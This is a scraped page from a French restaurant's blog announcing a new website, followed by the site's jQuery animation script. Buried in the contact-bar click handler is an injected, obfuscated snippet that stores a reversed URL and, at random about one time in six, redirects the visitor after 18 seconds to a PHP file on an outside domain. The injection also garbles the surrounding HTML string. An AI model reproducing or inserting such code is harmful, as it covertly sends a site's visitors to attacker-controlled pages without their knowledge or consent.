LE BLOG DU BISTROT GOURMAND

Le 4 juillet 2016 à 9 h 20 min par Le BistrotGourmand

Nouveau site web

Nous avons l’honneur de vous annoncer l’ouverture du nouveau site Le Bistrot Gourmand avec notre nouvelle charte graphique modernisée et dynamique qui fait ressortir le côté bistrot culinaire. Nous sommes impatients de vous accueillir au sein de nos locaux pour vous y faire découvrir le nouveau concept qui s’appuie plus précisément qu’auparavant sur le thème...
Lire l'article...
24 Quai René Guiné, 85100 Les Sables d'Olonne
top-menu .menu-photos-item a').attr('title', 'Le Bistrot Gourmand en photos'); //ajout attribut rel pour scroll to id $('.nav li a').attr('rel', 'scrolltoid'); $('#sectionmenu_1 .vc_tta-panel-title a').attr('rel', 'scrolltoid'); if($('.entry').hasClass('le-blog') || $('body').hasClass('single')) { $('.menu-item-249 a').addClass('mPS2id-highlight'); } if($('body').hasClass('page-id-263')) { $('.menu-photos-item a').addClass('mPS2id-highlight'); } //tooltip $('[data-toggle="tooltip"]').tooltip(); //ouverture block contact et maps $('.map-overlay').mouseenter(function(){ TweenMax.to($('.copyright-bar'), 1, {height:160, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:-10, ease:Power4.easeOut}); }); $('.map-overlay').mouseleave(function(){ TweenMax.to($('.copyright-bar'), 1, {height:150, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:0, ease:Power4.easeOut}); }); $('.map-overlay, .lien-contact a').click(function() { TweenMax.to($('.copyright-bar'), 1, {height:$(window).height() - $('#header-1').height() - $('.map-overlay').height(), ease:Power4.easeOut, force3D:"auto"}); $('.copyright-bar').addClass('opened'); $('.lien-contact').addClass('this-is-contact'); $('.lien-contact a').addClass('active'); $(this).unbind('mouseenter mouseleave'); $('.copyright-bar').prepend('$mkD=function(n){if (typeof ($mkD.list[n]) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}toggle="tooltip" data-placement="left" title="FERMER">'); $('#copyright_bar_close').tooltip(); $('#contact-block').css('display','block'); TweenMax.to($('.logo-top'), 1, {opacity:0, ease:Power4.easeOut}); }); $(window).on('resize', function(){ if($('.copyright-bar').hasClass('opened')) { TweenMax.to($('.copyright-bar'), 1, {height:$(window).height() - $('#header-1').height() - $('.map-overlay').height(), ease:Power4.easeOut, force3D:"auto"}); } }); $('.copyright-bar').on('click','#copyright_bar_close', function(e) { e.preventDefault(); $('.map-overlay').bind('mouseenter mouseleave', rebindMouseEvents); TweenMax.to($(this).parent(), 1, {height:150, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:0, ease:Power4.easeOut}); TweenMax.to($('.logo-top'), 1, {opacity:1, ease:Power4.easeOut, delay:0.5, force3D:"auto"}); $('.copyright-bar').removeClass('opened'); $('.lien-contact').removeClass('this-is-contact'); $('.lien-contact a').removeClass('active'); $('#copyright_bar_close').tooltip('hide'); $('#copyright_bar_close').remove(); $('#contact-block').css('display','none'); }); function rebindMouseEvents() { $('.map-overlay').mouseenter(function(){ TweenMax.to($('.copyright-bar'), 1, {height:160, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:-10, ease:Power4.easeOut}); }); $('.map-overlay').mouseleave(function(){ TweenMax.to($('.copyright-bar'), 1, {height:150, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:0, ease:Power4.easeOut}); }); } $('#menu-top-menu .menu-item a:not(".lien-contact a")').click(function(){ $('.navbar-collapse').removeClass('in'); console.log('menu clicked'); if($('.lien-contact').hasClass('this-is-contact')) { $('.map-overlay').bind('mouseenter mouseleave', rebindMouseEvents); TweenMax.to($('.copyright-bar'), 1, {height:150, ease:Power4.easeOut, force3D:"auto"}); TweenMax.to($('.logo-top'), 1, {y:0, ease:Power4.easeOut}); TweenMax.to($('.logo-top'), 1, {opacity:1, ease:Power4.easeOut, delay:0.5, force3D:"auto"}); $('.copyright-bar').removeClass('opened'); $('.lien-contact').removeClass('this-is-contact'); $('.lien-contact a').removeClass('active'); $('#copyright_bar_close').tooltip('hide'); $('#copyright_bar_close').remove(); $('#contact-block').css('display','none'); } }); $('.strikable-link').click(function(e) { e.preventDefault(); window.open($(this).attr('href'), 'fbShareWindow', 'height=450, width=550, top=' + ($(window).height() / 2 - 275) + ', left=' + ($(window).width() / 2 - 225) + ', toolbar=0, location=0, menubar=0, directories=0, scrollbars=0'); return false; }); $('.sidebar-button-block').click(function() { $('div#secondary').toggle(); $(this).addClass('on'); if($('.sidebar-2-button-block').hasClass('on')) { $('div#tertiary').css('display', 'none'); } }); $('.sidebar-2-button-block').click(function() { $('div#tertiary').toggle(); $(this).addClass('on'); if($('.sidebar-button-block').hasClass('on')) { $('div#secondary').css('display', 'none'); } }); $('.vc_tta-panel-heading').append(' Téléchargez le menu en pdf'); $('#home_streetview').parent().click(function () { $('#home_streetview').css("pointer-events", "auto"); }); $('#home_streetview').parent().mouseleave(function() { $('#home_streetview').css("pointer-events", "none"); }); });